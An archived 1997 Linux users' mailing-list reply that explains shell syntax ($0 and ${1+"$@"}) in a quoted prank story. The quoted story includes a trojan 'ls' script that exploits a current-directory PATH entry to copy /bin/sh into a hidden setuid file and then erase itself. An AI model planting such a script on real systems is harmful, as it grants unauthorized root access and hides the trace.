Mailing List ArchiveSupport open source code!
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]Re: tlug: questions and a story
- To: tlug@example.com
- Subject: Re: tlug: questions and a story
- From: James Ellison <jellison@example.com>
- Date: Wed, 5 Mar 1997 15:42:01 +0900 (JST)
- Content-Type: TEXT/PLAIN; charset=US-ASCII
- In-Reply-To: <XFMail.970305135010.schweiz@example.com>
- Reply-To: tlug@example.com
- Sender: owner-tlug
-------------------------------------------------------- tlug note from James Ellison <jellison@example.com> -------------------------------------------------------- On Wed, 5 Mar 1997, Jim Schweizer wrote: > -------------------------------------------------------- > tlug note from Jim Schweizer <schweiz@example.com> > -------------------------------------------------------- > These users noticed that the sysop from hell had "." at the > beginning of his shell search path. So, our happy band of dissed > users created an executable shell file named ls in the current > directory. > > #!/bin/sh > cp /bin/sh ./stuff/junk/.superdude > chmod 4555 ./stuff/junk/.superdude > rm -f $0 > exec /bin/ls ${1+"$@"} > > Then they created: > > % cd > % chmod 700 . > % touch ./-f > > and told the sysop from hell that they had a funny file in their > directory which they couldn't delete. Well, wasn't that sysop in > for a surprise:-0 > > The two things I don't get are > > rm -f $0 > ^^ - how does the shell script assign the scalar 0=ls? $0 is a positional paramter -- it's how you pass script arguments into the shell script. It'll evaluate to the command, in this case ./ls. If the sysop types ls -l then $0 will be ./ls, while $1 is -l > exec /bin/ls ${1+"$@"} The $@ passes in any additional arguments to ls the sysop typed, while the {1+word} appears to be a variant of the {1:+word} string substitution syntax. Hmmm. In the context of what he's doing, if 1 doesn't exist then neither would $@example.com So why the switch? A simple exec /bin/ls "$@" should get the job done. Odd. Maybe the script was to run under a shell that did something else with {1+word} syntax? I think this is where I usually rip it out and redo it in perl instead. Bit too much overhead for such a short hack though ... --James ----------------------------------------------------------------- a word from the sponsor will appear below ----------------------------------------------------------------- The TLUG mailing list is proudly sponsored by TWICS - Japan's First Public-Access Internet System. Now offering 20,000 yen/year flat rate Internet access with no time charges. Full line of corporate Internet and intranet products are available. info@example.com Tel: 03-3351-5977 Fax: 03-3353-6096
- References:
- tlug: questions and a story
- From: Jim Schweizer <schweiz@example.com>
Home | Main Index | Thread Index
- Prev by Date: Re: tlug: questions and a story
- Next by Date: tlug: Book Orders
- Prev by thread: Re: tlug: questions and a story
- Next by thread: Re: tlug: questions and a story
- Index(es):
Home Page Mailing List Linux and Japan TLUG Members Links